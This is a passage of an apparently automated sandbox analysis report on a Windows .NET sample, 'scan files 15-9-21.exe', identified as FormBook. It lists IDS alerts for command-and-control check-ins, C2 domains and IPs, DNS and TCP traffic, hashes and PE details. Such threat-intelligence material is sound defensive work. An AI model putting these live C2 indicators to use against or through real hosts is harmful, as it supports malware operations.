                                    • Excluded domains from analysis (whitelisted): fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                                    • Not all processes where analyzed, report is missing behavior information

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    09:30:58API Interceptor1x Sleep call for process: scan files 15-9-21.exe modified

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                    84.34.147.60Split BL_PL.exeGet hashmaliciousBrowse
                                    • www.nordiqueluxury.com/mej0/?qRGT=Lzu4IHzP&EHSh=l0iLI2tDMbyWX17YzQI3VU6Ovc+Srds2u4QKsmMGezHC91xioYtP6wjZJcI1+Y0YZ8RZFFgSMA==

                                    Domains

                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                    www.nordiqueluxury.comSplit BL_PL.exeGet hashmaliciousBrowse
                                    • 84.34.147.60
                                    www.getcenteredwithclay.comscan documents 31AUG.exeGet hashmaliciousBrowse
                                    • 99.83.154.118

                                    ASN

                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                    CLOUDFLARENETUS86jLEXtwqR.exeGet hashmaliciousBrowse
                                    • 162.159.134.233
                                    6WtKevhqlg.exeGet hashmaliciousBrowse
                                    • 162.159.134.233
                                    oLn3NAKPzu.exeGet hashmaliciousBrowse
                                    • 162.159.134.233
                                    hd9uHo4dot.exeGet hashmaliciousBrowse
                                    • 162.159.134.233
                                    47U9eIz5bG.exeGet hashmaliciousBrowse
                                    • 162.159.135.233
                                    x13NYP60fd.exeGet hashmaliciousBrowse
                                    • 162.159.130.233
                                    ivR7bfFqYWqLlce.exeGet hashmaliciousBrowse
                                    • 172.67.188.154
                                    PO7420.exeGet hashmaliciousBrowse
                                    • 23.227.38.65
                                    #Ud83d#Udd09_ 3pm.htmlGet hashmaliciousBrowse
                                    • 104.16.18.94
                                    MktxljHVy8.exeGet hashmaliciousBrowse
                                    • 104.21.33.32
                                    Elon Musk Club - 024705 .htmGet hashmaliciousBrowse
                                    • 104.18.11.207
                                    N3sJiiIQAP.exeGet hashmaliciousBrowse
                                    • 104.21.79.144
                                    4478884ce2cf578bf0a0d2484fc8221e5ff63d7cbc73d5200bacbd6e2796e017.exeGet hashmaliciousBrowse
                                    • 162.159.133.233
                                    aZq3gco8Ab.exeGet hashmaliciousBrowse
                                    • 104.18.7.156
                                    Medical-Engagement-Scale-Questionnaire.msiGet hashmaliciousBrowse
                                    • 104.16.119.102
                                    XbvAoRKnFm.exeGet hashmaliciousBrowse
                                    • 104.21.30.211
                                    PO12031.exeGet hashmaliciousBrowse
                                    • 172.67.188.154
                                    m3maOnY6Uy.exeGet hashmaliciousBrowse
                                    • 172.67.193.227
                                    setup_x86_x64_install.exeGet hashmaliciousBrowse
                                    • 172.67.160.135
                                    vkb.xlsxGet hashmaliciousBrowse
                                    • 104.21.19.200
                                    TSF-IP-CORETeliaFinlandOyjEUre2.armGet hashmaliciousBrowse
                                    • 80.223.250.166
                                    p4vXpD0P73Get hashmaliciousBrowse
                                    • 88.195.12.199
                                    4nLik56DrDGet hashmaliciousBrowse
                                    • 195.165.207.156
                                    jKira.x86Get hashmaliciousBrowse
                                    • 84.250.68.111
                                    TG42Y4BxqhGet hashmaliciousBrowse
                                    • 194.251.24.136
                                    v17c18jKB5Get hashmaliciousBrowse
                                    • 139.157.217.112
                                    wGQzwtqpmtGet hashmaliciousBrowse
                                    • 195.156.115.155
                                    Rry5mHEWuHGet hashmaliciousBrowse
                                    • 84.249.96.0
                                    2vMBHaZcM5Get hashmaliciousBrowse
                                    • 160.71.100.185
                                    dark.ppcGet hashmaliciousBrowse
                                    • 84.249.1.45
                                    armGet hashmaliciousBrowse
                                    • 139.74.185.176
                                    arm6Get hashmaliciousBrowse
                                    • 88.195.171.107
                                    arm7Get hashmaliciousBrowse
                                    • 194.251.84.27
                                    dark.mpslGet hashmaliciousBrowse
                                    • 144.5.81.225
                                    e1m5cZ52idGet hashmaliciousBrowse
                                    • 88.195.59.164
                                    AUMqW7UOsXGet hashmaliciousBrowse
                                    • 88.192.177.209
                                    XwQCL6wkKkGet hashmaliciousBrowse
                                    • 86.114.146.182
                                    Jprt6IyzLGGet hashmaliciousBrowse
                                    • 80.223.191.22
                                    5ngwCCLYG2Get hashmaliciousBrowse
                                    • 157.202.152.65
                                    WJoQO4idRiGet hashmaliciousBrowse
                                    • 62.73.56.129

                                    JA3 Fingerprints

                                    No context

                                    Dropped Files

                                    No context

                                    Created / dropped Files

                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\scan files 15-9-21.exe.log
                                    Process:C:\Users\user\Desktop\scan files 15-9-21.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):1216
                                    Entropy (8bit):5.355304211458859
                                    Encrypted:false
                                    SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
                                    MD5:FED34146BF2F2FA59DCF8702FCC8232E
                                    SHA1:B03BFEA175989D989850CF06FE5E7BBF56EAA00A
                                    SHA-256:123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
                                    SHA-512:1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
                                    Malicious:true
                                    Reputation:high, very likely benign file
                                    Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                    Static File Info

                                    General

                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                    Entropy (8bit):7.19858583337036
                                    TrID:
                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                    • Win32 Executable (generic) a (10002005/4) 49.78%
                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                    • DOS Executable Generic (2002/1) 0.01%
                                    File name:scan files 15-9-21.exe
                                    File size:569344
                                    MD5:00e32d8a2cbd54e967bfc8f512086ecf
                                    SHA1:f51b70a2117089a87b0daf6f179a3b492acf58f2
                                    SHA256:36d409b61a0f456cb3e593338ebf2db1fae38ea645392d98030bc7e7a0eb9a3c
                                    SHA512:2996b453b9096b7cbd8eadbe602a80bbf1ba9f721079b657e672fcade97ff8b098aabc81ebb1beb97acaece0ab97e9d0cb33fb90af17bcb66d00ba0787763c48
                                    SSDEEP:12288:L9QzWHCM2K4C50eP5X3Ev1s9oQuaZMk7zI7h4UkLNr:ap3C50QU7pqMiZr
                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Y...............0.................. ........@.. ....................... ............@................................

                                    File Icon

                                    Icon Hash:00828e8e8686b000

                                    Static PE Info

                                    General

                                    Entrypoint:0x48c58a
                                    Entrypoint Section:.text
                                    Digitally signed:false
                                    Imagebase:0x400000
                                    Subsystem:windows gui
                                    Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                    DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                    Time Stamp:0xEB59C8A3 [Mon Feb 14 13:50:27 2095 UTC]
                                    TLS Callbacks:
                                    CLR (.Net) Version:v4.0.30319
                                    OS Version Major:4
                                    OS Version Minor:0
                                    File Version Major:4
                                    File Version Minor:0
                                    Subsystem Version Major:4
                                    Subsystem Version Minor:0
                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                    Entrypoint Preview

                                    Instruction
                                    jmp dword ptr [00402000h]
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al

                                    Data Directories

                                    NameVirtual AddressVirtual Size Is in Section
                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x8c5380x4f.text
                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x8e0000x5a4.rsrc
                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x900000xc.reloc
                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x8c51c0x1c.text
                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                    Sections

                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                    .text0x20000x8a5900x8a600False0.766540692751data7.20919367006IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                    .rsrc0x8e0000x5a40x600False0.419921875data4.06388975839IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                    .reloc0x900000xc0x200False0.044921875data0.101910425663IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                    Resources

                                    NameRVASizeTypeLanguageCountry
                                    RT_VERSION0x8e0900x314data
                                    RT_MANIFEST0x8e3b40x1eaXML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                    Imports

                                    DLLImport
                                    mscoree.dll_CorExeMain

                                    Version Infos

                                    DescriptionData
                                    Translation0x0000 0x04b0
                                    LegalCopyrightCopyright 2019
                                    Assembly Version1.0.0.0
                                    InternalNameIObserv.exe
                                    FileVersion1.0.0.0
                                    CompanyName
                                    LegalTrademarks
                                    Comments
                                    ProductNameDisciples
                                    ProductVersion1.0.0.0
                                    FileDescriptionDisciples
                                    OriginalFilenameIObserv.exe

                                    Network Behavior

                                    Snort IDS Alerts

                                    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                    09/15/21-09:32:30.950508TCP2031453ET TROJAN FormBook CnC Checkin (GET)4977780192.168.2.734.98.99.30
                                    09/15/21-09:32:30.950508TCP2031449ET TROJAN FormBook CnC Checkin (GET)4977780192.168.2.734.98.99.30
                                    09/15/21-09:32:30.950508TCP2031412ET TROJAN FormBook CnC Checkin (GET)4977780192.168.2.734.98.99.30
                                    09/15/21-09:32:31.066398TCP1201ATTACK-RESPONSES 403 Forbidden804977734.98.99.30192.168.2.7
                                    09/15/21-09:32:36.281712TCP2031453ET TROJAN FormBook CnC Checkin (GET)4977980192.168.2.735.237.65.63
                                    09/15/21-09:32:36.281712TCP2031449ET TROJAN FormBook CnC Checkin (GET)4977980192.168.2.735.237.65.63
                                    09/15/21-09:32:36.281712TCP2031412ET TROJAN FormBook CnC Checkin (GET)4977980192.168.2.735.237.65.63
                                    09/15/21-09:32:46.690689TCP1201ATTACK-RESPONSES 403 Forbidden804978334.98.99.30192.168.2.7
                                    09/15/21-09:33:01.969573TCP2031453ET TROJAN FormBook CnC Checkin (GET)4978580192.168.2.799.83.154.118
                                    09/15/21-09:33:01.969573TCP2031449ET TROJAN FormBook CnC Checkin (GET)4978580192.168.2.799.83.154.118
                                    09/15/21-09:33:01.969573TCP2031412ET TROJAN FormBook CnC Checkin (GET)4978580192.168.2.799.83.154.118
                                    09/15/21-09:33:02.127468TCP1201ATTACK-RESPONSES 403 Forbidden804978599.83.154.118192.168.2.7

                                    Network Port Distribution

                                    TCP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Sep 15, 2021 09:32:25.311448097 CEST4977680192.168.2.784.34.147.60
                                    Sep 15, 2021 09:32:25.355458975 CEST804977684.34.147.60192.168.2.7
                                    Sep 15, 2021 09:32:25.355602980 CEST4977680192.168.2.784.34.147.60
                                    Sep 15, 2021 09:32:25.355875015 CEST4977680192.168.2.784.34.147.60
                                    Sep 15, 2021 09:32:25.401727915 CEST804977684.34.147.60192.168.2.7
                                    Sep 15, 2021 09:32:25.855149031 CEST4977680192.168.2.784.34.147.60
                                    Sep 15, 2021 09:32:25.940481901 CEST804977684.34.147.60192.168.2.7
                                    Sep 15, 2021 09:32:26.165246964 CEST804977684.34.147.60192.168.2.7
                                    Sep 15, 2021 09:32:26.165589094 CEST4977680192.168.2.784.34.147.60
                                    Sep 15, 2021 09:32:30.931153059 CEST4977780192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:30.950155020 CEST804977734.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:30.950297117 CEST4977780192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:30.950508118 CEST4977780192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:30.969476938 CEST804977734.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:31.066397905 CEST804977734.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:31.066421032 CEST804977734.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:31.066636086 CEST4977780192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:31.066706896 CEST4977780192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:31.370994091 CEST4977780192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:31.390058994 CEST804977734.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:36.128412962 CEST4977980192.168.2.735.237.65.63
                                    Sep 15, 2021 09:32:36.281326056 CEST804977935.237.65.63192.168.2.7
                                    Sep 15, 2021 09:32:36.281476974 CEST4977980192.168.2.735.237.65.63
                                    Sep 15, 2021 09:32:36.281712055 CEST4977980192.168.2.735.237.65.63
                                    Sep 15, 2021 09:32:36.435966015 CEST804977935.237.65.63192.168.2.7
                                    Sep 15, 2021 09:32:36.436259031 CEST4977980192.168.2.735.237.65.63
                                    Sep 15, 2021 09:32:36.436321974 CEST4977980192.168.2.735.237.65.63
                                    Sep 15, 2021 09:32:36.589621067 CEST804977935.237.65.63192.168.2.7
                                    Sep 15, 2021 09:32:46.556646109 CEST4978380192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:46.573898077 CEST804978334.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:46.574109077 CEST4978380192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:46.574167967 CEST4978380192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:46.591782093 CEST804978334.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:46.690689087 CEST804978334.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:46.690709114 CEST804978334.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:46.690870047 CEST4978380192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:46.690979958 CEST4978380192.168.2.734.98.99.30
                                    Sep 15, 2021 09:32:46.712646961 CEST804978334.98.99.30192.168.2.7
                                    Sep 15, 2021 09:32:56.832087994 CEST4978480192.168.2.7172.67.196.84
                                    Sep 15, 2021 09:32:56.849196911 CEST8049784172.67.196.84192.168.2.7
                                    Sep 15, 2021 09:32:56.849431992 CEST4978480192.168.2.7172.67.196.84
                                    Sep 15, 2021 09:32:56.849651098 CEST4978480192.168.2.7172.67.196.84
                                    Sep 15, 2021 09:32:56.866990089 CEST8049784172.67.196.84192.168.2.7
                                    Sep 15, 2021 09:32:56.879559040 CEST8049784172.67.196.84192.168.2.7
                                    Sep 15, 2021 09:32:56.879606009 CEST8049784172.67.196.84192.168.2.7
                                    Sep 15, 2021 09:32:56.879858971 CEST4978480192.168.2.7172.67.196.84
                                    Sep 15, 2021 09:32:56.879893064 CEST4978480192.168.2.7172.67.196.84
                                    Sep 15, 2021 09:32:56.896967888 CEST8049784172.67.196.84192.168.2.7

                                    UDP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Sep 15, 2021 09:31:02.172333002 CEST5541153192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:02.213270903 CEST53554118.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:20.911829948 CEST6366853192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:20.942398071 CEST53636688.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:42.785012007 CEST5464053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:42.816731930 CEST53546408.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:56.671912909 CEST5873953192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:56.735091925 CEST53587398.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:57.347942114 CEST6033853192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:57.377293110 CEST53603388.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:58.042824984 CEST5871753192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:58.079823017 CEST53587178.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:58.428492069 CEST5976253192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:58.456912994 CEST53597628.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:58.853620052 CEST5432953192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:58.879784107 CEST53543298.8.8.8192.168.2.7
                                    Sep 15, 2021 09:31:59.454643011 CEST5805253192.168.2.78.8.8.8
                                    Sep 15, 2021 09:31:59.481228113 CEST53580528.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:00.086487055 CEST5400853192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:00.106697083 CEST5945153192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:00.113393068 CEST53540088.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:00.150398016 CEST53594518.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:00.999397039 CEST5291453192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:01.050944090 CEST53529148.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:02.049164057 CEST6456953192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:02.075681925 CEST53645698.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:02.655895948 CEST5281653192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:02.682467937 CEST53528168.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:06.774791956 CEST5078153192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:06.810134888 CEST53507818.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:15.156395912 CEST5423053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:15.200252056 CEST53542308.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:20.220448017 CEST5491153192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:20.252281904 CEST53549118.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:25.266566992 CEST4995853192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:25.306921959 CEST53499588.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:30.899986982 CEST5086053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:30.930033922 CEST53508608.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:35.332555056 CEST5045253192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:35.367420912 CEST53504528.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:36.077837944 CEST5973053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:36.127427101 CEST53597308.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:37.048358917 CEST5931053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:37.086397886 CEST53593108.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:46.523246050 CEST5191953192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:46.555305958 CEST53519198.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:51.709719896 CEST6429653192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:51.762979031 CEST53642968.8.8.8192.168.2.7
                                    Sep 15, 2021 09:32:56.789498091 CEST5668053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:32:56.830826044 CEST53566808.8.8.8192.168.2.7
                                    Sep 15, 2021 09:33:01.890949965 CEST5882053192.168.2.78.8.8.8
                                    Sep 15, 2021 09:33:01.949892998 CEST53588208.8.8.8192.168.2.7
                                    Sep 15, 2021 09:33:07.141978025 CEST6098353192.168.2.78.8.8.8
                                    Sep 15, 2021 09:33:07.173832893 CEST53609838.8.8.8192.168.2.7

                                    DNS Queries

                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                    Sep 15, 2021 09:32:15.156395912 CEST192.168.2.78.8.8.80xb760Standard query (0)www.parakhonskiy.comA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:20.220448017 CEST192.168.2.78.8.8.80xe076Standard query (0)www.everybankatm.comA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:25.266566992 CEST192.168.2.78.8.8.80x46a3Standard query (0)www.nordiqueluxury.comA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:30.899986982 CEST192.168.2.78.8.8.80x9434Standard query (0)www.valorplanodesaudemaranhao.infoA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:36.077837944 CEST192.168.2.78.8.8.80x4f9bStandard query (0)www.municipiodeanton.netA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:46.523246050 CEST192.168.2.78.8.8.80x26edStandard query (0)www.quickskiplondon.comA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:51.709719896 CEST192.168.2.78.8.8.80x1078Standard query (0)www.lifewithbriana.comA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:56.789498091 CEST192.168.2.78.8.8.80x8524Standard query (0)www.singularity.instituteA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:33:01.890949965 CEST192.168.2.78.8.8.80x47f8Standard query (0)www.getcenteredwithclay.comA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:33:07.141978025 CEST192.168.2.78.8.8.80x33eeStandard query (0)www.actonetheatre.comA (IP address)IN (0x0001)

                                    DNS Answers

                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                    Sep 15, 2021 09:32:15.200252056 CEST8.8.8.8192.168.2.70xb760Name error (3)www.parakhonskiy.comnonenoneA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:20.252281904 CEST8.8.8.8192.168.2.70xe076Name error (3)www.everybankatm.comnonenoneA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:25.306921959 CEST8.8.8.8192.168.2.70x46a3No error (0)www.nordiqueluxury.com84.34.147.60A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:30.930033922 CEST8.8.8.8192.168.2.70x9434No error (0)www.valorplanodesaudemaranhao.infovalorplanodesaudemaranhao.infoCNAME (Canonical name)IN (0x0001)
                                    Sep 15, 2021 09:32:30.930033922 CEST8.8.8.8192.168.2.70x9434No error (0)valorplanodesaudemaranhao.info34.98.99.30A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:36.127427101 CEST8.8.8.8192.168.2.70x4f9bNo error (0)www.municipiodeanton.net35.237.65.63A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:46.555305958 CEST8.8.8.8192.168.2.70x26edNo error (0)www.quickskiplondon.comquickskiplondon.comCNAME (Canonical name)IN (0x0001)
                                    Sep 15, 2021 09:32:46.555305958 CEST8.8.8.8192.168.2.70x26edNo error (0)quickskiplondon.com34.98.99.30A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:51.762979031 CEST8.8.8.8192.168.2.70x1078Name error (3)www.lifewithbriana.comnonenoneA (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:56.830826044 CEST8.8.8.8192.168.2.70x8524No error (0)www.singularity.institute172.67.196.84A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:32:56.830826044 CEST8.8.8.8192.168.2.70x8524No error (0)www.singularity.institute104.21.44.60A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:33:01.949892998 CEST8.8.8.8192.168.2.70x47f8No error (0)www.getcenteredwithclay.com99.83.154.118A (IP address)IN (0x0001)
                                    Sep 15, 2021 09:33:07.173832893 CEST8.8.8.8192.168.2.70x33eeName error (3)www.actonetheatre.comnonenoneA (IP address)IN (0x0001)

                                    HTTP Request Dependency Graph

                                    • www.nordiqueluxury.com
                                    • www.valorplanodesaudemaranhao.info
                                    • www.municipiodeanton.net
                                    • www.quickskiplondon.com
                                    • www.singularity.institute

                                    HTTP Packets

                                    Session IDSource IPSource PortDestination IPDestination PortProcess
